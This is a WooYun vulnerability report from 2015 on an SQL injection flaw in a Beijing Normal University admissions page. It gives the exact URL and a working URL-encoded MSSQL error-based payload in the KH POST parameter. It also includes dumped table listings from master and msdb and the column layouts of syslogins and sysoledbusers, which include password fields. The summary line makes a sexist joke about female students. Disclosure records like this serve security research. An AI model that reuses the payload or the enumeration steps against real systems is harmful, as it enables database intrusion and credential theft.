当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096629

漏洞标题:北师大某站POST注入漏洞

相关厂商:CCERT教育网应急响应组

漏洞作者: 胡来大师

提交时间:2015-02-14 08:49

修复时间:2015-02-19 08:50

公开时间:2015-02-19 08:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-14: 细节已通知厂商并且等待厂商处理中
2015-02-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

POST注入漏洞,可脱数据库,据说师大妹子多啊。。。。

详细说明:

问题站点:admission.bnu.edu.cn:8080/gklqjgcx/gklqcxjg.asp
POST参数:KH='%2b(select%20convert(int%2cCHAR(52)%2bCHAR(67)%2bCHAR(117)%2bCHAR(54)%2bCHAR(97)%2bCHAR(109)%2bCHAR(97)%2bCHAR(80)%2bCHAR(68)%2bCHAR(122)%2bCHAR(55))%20FROM%20syscolumns)%2b'&KSHZKZH=KSH&XM=1

库.png


漏洞证明:

点到为止的跑了两个库:
Database: master
[38 tables]
+--------------------------------------------+
| INFORMATION_SCHEMA.CHECK_CONSTRAINTS |
| INFORMATION_SCHEMA.COLUMNS |
| INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE |
| INFORMATION_SCHEMA.COLUMN_PRIVILEGES |
| INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE |
| INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE |
| INFORMATION_SCHEMA.DOMAINS |
| INFORMATION_SCHEMA.DOMAIN_CONSTRAINTS |
| INFORMATION_SCHEMA.KEY_COLUMN_USAGE |
| INFORMATION_SCHEMA.PARAMETERS |
| INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS |
| INFORMATION_SCHEMA.ROUTINES |
| INFORMATION_SCHEMA.ROUTINE_COLUMNS |
| INFORMATION_SCHEMA.SCHEMATA |
| INFORMATION_SCHEMA.TABLES |
| INFORMATION_SCHEMA.TABLE_CONSTRAINTS |
| INFORMATION_SCHEMA.TABLE_PRIVILEGES |
| INFORMATION_SCHEMA.VIEWS |
| INFORMATION_SCHEMA.VIEW_COLUMN_USAGE |
| INFORMATION_SCHEMA.VIEW_TABLE_USAGE |
| MSreplication_options |
| resultcmd_cc |
| siweb3file |
| spt_datatype_info_ext |
| spt_datatype_info_ext |
| spt_fallback_db |
| spt_fallback_dev |
| spt_fallback_usg |
| spt_monitor |
| spt_provider_types |
| spt_server_info |
| spt_values |
| sysconstraints |
| syslogins |
| sysoledbusers |
| sysopentapes |
| sysremotelogins |
| syssegments |
+--------------------------------------------+
Database: msdb
[84 tables]
+-----------------------------+
| RTblClassDefs |
| RTblClassExtension |
| RTblDBMProps |
| RTblDBXProps |
| RTblDTMProps |
| RTblDTSProps |
| RTblDatabaseVersion |
| RTblEQMProps |
| RTblEnumerationDef |
| RTblEnumerationValueDef |
| RTblGENProps |
| RTblIfaceDefs |
| RTblIfaceHier |
| RTblIfaceMem |
| RTblMDSProps |
| RTblNamedObj |
| RTblOLPProps |
| RTblParameterDef |
| RTblPropDefs |
| RTblProps |
| RTblRelColDefs |
| RTblRelshipDefs |
| RTblRelshipProps |
| RTblRelships |
| RTblSIMProps |
| RTblScriptDefs |
| RTblSites |
| RTblSumInfo |
| RTblTFMProps |
| RTblTypeInfo |
| RTblTypeLibs |
| RTblUMLProps |
| RTblUMXProps |
| RTblVersionAdminInfo |
| RTblVersions |
| RTblWorkspaceItems |
| backupfile |
| backupmediafamily |
| backupmediaset |
| backupset |
| log_shipping_databases |
| log_shipping_monitor |
| log_shipping_plan_databases |
| log_shipping_plan_history |
| log_shipping_plans |
| log_shipping_primaries |
| log_shipping_secondaries |
| logmarkhistory |
| mswebtasks |
| restorefilegroup |
| restorefilegroup |
| restorehistory |
| siweb3file |
| sqlagent_info |
| sysalerts |
| syscachedcredentials |
| syscategories |
| sysconstraints |
| sysdbmaintplan_databases |
| sysdbmaintplan_history |
| sysdbmaintplan_jobs |
| sysdbmaintplans |
| sysdownloadlist |
| sysdtscategories |
| sysdtspackagelog |
| sysdtspackages |
| sysdtssteplog |
| sysdtstasklog |
| sysjobhistory |
| sysjobs_view |
| sysjobs_view |
| sysjobschedules |
| sysjobservers |
| sysjobsteps |
| sysnotifications |
| sysoperators |
| syssegments |
| systargetservergroupmembers |
| systargetservergroups |
| systargetservers_view |
| systargetservers_view |
| systaskids |
| systasks_view |
| systasks_view |
+-----------------------------+
Database: master
Table: sysoledbusers
[6 columns]
+-------------+-----------+
| Column | Type |
+-------------+-----------+
| changedate | datetime |
| loginsid | varbinary |
| rmtloginame | nvarchar |
| rmtpassword | nvarchar |
| rmtsrvid | smallint |
| status | smallint |
+-------------+-----------+
Database: master
Table: syslogins
[28 columns]
+---------------+-----------+
| Column | Type |
+---------------+-----------+
| language | nvarchar |
| accdate | datetime |
| bulkadmin | int |
| createdate | datetime |
| dbcreator | int |
| dbname | nvarchar |
| denylogin | int |
| diskadmin | int |
| hasaccess | int |
| isntgroup | int |
| isntname | int |
| isntuser | int |
| loginname | nvarchar |
| name | nvarchar |
| password | nvarchar |
| processadmin | int |
| resultlimit | int |
| securityadmin | int |
| serveradmin | int |
| setupadmin | int |
| sid | varbinary |
| spacelimit | int |
| status | smallint |
| sysadmin | int |
| timelimit | int |
| totcpu | int |
| totio | int |
| updatedate | datetime |
+---------------+-----------+

修复方案:

版权声明:转载请注明来源 胡来大师@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-02-19 08:50

厂商回复:

最新状态:

暂无